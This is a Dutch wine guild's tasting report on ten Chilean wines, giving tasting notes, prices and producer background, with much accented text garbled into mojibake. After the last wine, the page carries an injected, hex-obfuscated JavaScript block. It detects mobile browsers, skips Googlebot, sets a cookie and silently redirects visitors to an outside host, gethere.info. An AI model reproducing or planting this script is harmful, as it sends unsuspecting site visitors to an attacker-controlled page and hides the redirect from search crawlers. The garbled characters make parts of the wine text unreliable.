Volgende Proeverij:

  • 00 D
  • 00 U
  • 00 M
  • 00 S
+

2017 Wijngilde Twente: proeverij “Verrassend Chili”

Categories: Twente Proefverslagen

Op 16 oktober 2017 nam Miranda Scholten ons mee op haar reis door wijngebieden van Chili. Zij schreef: “De wijnen zijn onderdeel van een wijnpakket verzorgd door het bestuur van de Verenigde Vinologen Nederland (VVN). Het pakket is beschikbaar gesteld aan diegenen die mee zijn geweest met de door de VVN georganiseerde wijnstudiereis naar Chili in november 2016. Het zijn alle wijnen van wijnhuizen die we hebben bezocht. Niet alle wijnen zijn rechtstreeks in Nederland te koop, deels in BelgiA�. De op de proeflijst vermelde prijzen zijn consumentenprijzen”.

Wijn 1

Wijn en streek:
PaA�s a�� Estelado RosA� sparkling wine.A�Traditonal method brut
Maule ValleyA�A�A�A�A�A�A�A�A�A�A�A�A�A�A� 12%
Miguel Torres
Beoordeling:
Aanvankelijk grof, later fijne mousse. Geur: aardbeien, notig. Smaak aardbeien, fris en fruitig. Aangename afdronk met bittertje.
Leverancier: zie toelichting.
Prijs 13,50A� euro
Bijzonderheden: geen

Wijn 2

Wijn en streek:
Sauvignon Blanc – Corralillo
San Antonio ValleyA�A� 2016A�A� 13,5%
Rosario wijngaard
Producent:
Matetic
Beoordeling:
Geur: stevige buxus, kruis-bessen. Smaak: groen, grassig, asperges, appelpitje. Stuift in het glas.A�Krachtige wijn.
Leverancier: zie toelichting
Prijs 10,95A� euro
Bijzonderheden: geen

Wijn 3

Wijn en streek:
Chardonnay a�� Las NiA�as Reserva
2015A�A�A�A�A� 14%
Apalta – Colchagua Valley
Producent:
ViA�a Las NiA�as
Beoordeling:
Geur: mispel, oude citrus. Smaak: heeft hout gehad, rokerig, kruidig. Weinig vettig, matig bitter. Lijkt ondanks 2015 aardig op leeftijd.
Aantrekkelijke wijn.
Leverancier: zie toelichting
Prijs 9,95 euro
Bijzonderheden:
“History: In 1996, Bernard DaurA� persuaded his friends, Jean Pierre Cayard and Claude Florensa to embark on a crazy idea, to join him in creating a wine estate at Apalta in Chile. The girls from the three families soon fell in love with the land, in the Colchagua Valley, which is only a two hour drive south of Santiago, the countrya��s capital. The girls, a�?Las NiA�asa�? took the work, which lasted around three years, in hand a�� planting 160 hectares of Cabernet Sauvignon, Camenere, Syrah, Mourvedre, Grenache Noir, Merlot and Chardonnay, while Mathias Klotz designed and built the cellar.”

Wijn 4

Wijn en streek:
Malbec a�� Secret de Viu ManentA� A�2014A�A�A� 14%
Valle de Colchagua
Producent:
Viu Manent
Beoordeling:
Geur: aromatisch, jam, zoete kersen, vanille. Smaak wijkt af: vooral laurier, scherp, kalksteen en de kersen zijn weg. Heel droge tannineuze wijn voor bij het diner.
Leverancier: zie toelichting
Prijs 10,80A� euro
Bijzonderheden:
Wijn van oude stokken.

Wijn 5

Wijn en streek:
Pinot Noir a�� A�2015A�A� 14%
Single Vineyard Block No 21 Viento Mar (Zeewind)
Valle de San Antonio a�� Campo Lindo Estate
Producent:
Cono Sur
Beoordeling:
Geur: rood fruit / kersen; in de smaak kersen en bruine suiker. Fluwelen tannines en mooi verpakte zuren.
Mooie evenwichtige wijn!
Leverancier: zie toelichting
Prijs 14,95A� euro
Bijzonderheden:
De wijngaarden liggen hoger in het kustgebied, waardoor de temperatuurverschillen dag/nacht groot zijn en het rijpingsproces langzaam verloopt. a�?In addition, red clay soils, intense sunlight and no springtime rains create a brilliantly colored grape of intense aromatic expression and impressive concentrationa�?.

Wijn 6

Wijn en streek:
Syrah a�� 2012A�A�A�A� 13,5%
Aconcagua Costa
D.O. Valle de Aconcagua a�� Manzanar Vineyard
Producent:
Errazuriz
Beoordeling:
Opvallend donkerrood, visceus. Geur: kersen, zwarte bes, kaneel chocola, kruidnagel, hout. Smaak: kruidig, stroef, laurier, chocola. Scherpe tannines
Leverancier: zie toelichting
Prijs 19,95A� euro; ook bij
De Wijnhal Hengelo verkrijgbaar.
Bijzonderheden:
Winemaking: a�?the grapes were hand picked early in the morning, then taken to the cellar, whre they were cold-soaked and fermented at 24oC-28oC in stainless steel tanks. The wine was aged for 14 months in French oak barrelsa�?.

Wijn 7

Wijn en streek:
CarmenA?re a�� 2015A�A� 14,5%
Gran Terroir de los Andes a�?Los Linguesa�?,A�Valle de Colchagua a�� Los Lingues Estate
Producent:
Casa SilvaA� www.casasilva.cl
Beoordeling:
Neus: stal, inkt, hout, kruiden langs de weg stoffig. Smaak: laurier, groene paprika, stroefje, mooie tannines. Mooie complete wijn.
Leverancier: zie toelichting
Prijs 13,95A� euro
Bijzonderheden:
a�?Over 100 years ago, the 1st generation of the Silva family pioneered Colchagua Valley, the region today producing Chilea��s finest premium wines. Today, the 4th an 5th generations fully own and run the winery and its land, making it the most family run Estate in the country.a�?

Wijn 8

Wijn en streek:
Cabernet Sauvignon a�� TarapacA? Gran ReservaA�A� 2013A�A�A� 14%
D.O. Valle del Maipo
Percelen: San Jorge en San Jaime
Producent:
ViA�a TarapacA?, ten zuiden van Santiago.
Beoordeling:
Donkerrood, nauwelijks doorzichtig van kleur. Rood fruit, kruiden, houtlagering.
Leverancier: zie toelichting
Prijs 14,95A� euro
Bijzonderheden:
100% Cabernet Sauvignon a�� a�?a blend of diverse blocks within Maipo Valley which represent the different characteristics that are present in it. This wine was aged in French and American oak barrels for 12 monthsa�?.

Wijn 9

Wijn en streek:
Carignan 50% -Grenache 30
MourvA?dre 20%A�A�A�A� 2012A�A�A� 15%
Montes Outer Limits
D.O. Valle de Colchagua a�� Apalta
Producent:
Montes. http://www.monteswines.com
Beoordeling:
Helder, donkerrode wijn, visceus. Geur: kersen, tabak, leer, pruimen, laurier, rokerig. In de smaak is weinig van het palet terug te vinden. Branderig en hout. Korte afdronk.
Leverancier: zie toelichting
Prijs 24,75A� euro
Bijzonderheden: geen

Wijn 10

Wijn en streek:
Cabernet Sauvignon 60% – CarmenA?re 40%A� A�-A�2013A� 14,5%
Caballo Loco Grand Cru Apalta
D.O. Santa Cruz
Producent:
Valdivieso
Beoordeling:
Ondoorzichtige, donkerrode wijn. Visceus.
Geur: kruiden, tomaten, ceder-hout. Smaak: fruitig, peper en paddenstoelen. Erg lekkere a�?eetwijna�?.
Leverancier: zie toelichting
Prijs 27,50 euro
Bijzonderheden:
Oplegwijn. Gall & Gall schrijft: a�?Valdivieso is als eerste wijnhuis in Zuid-Amerika in 1879 begonnen met de productie van mousserende wijnen. Pas honderd jaar later startte de familie met het maken van stille wijnen. Hun filosofie is om de best mogelijke druiven te gebruiken en de typiciteit en de smaak van de druiven zoveel mogelijk in tact te houden. Zo mag de smaak van houtlagering nooit te dominant zijn. Met het ideale wijnklimaat in Chili en de grote zorg voor de druiven, brengt het domein inmiddels geweldige wijnen voort, die internationaal vele prijzen in de wacht slepen. Maar het belangrijkste is misschien wel dat een uitstekende prijs-kwaliteitsverhouding kenmerkend is voor al hun wijnen.a�?

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Geef een reactie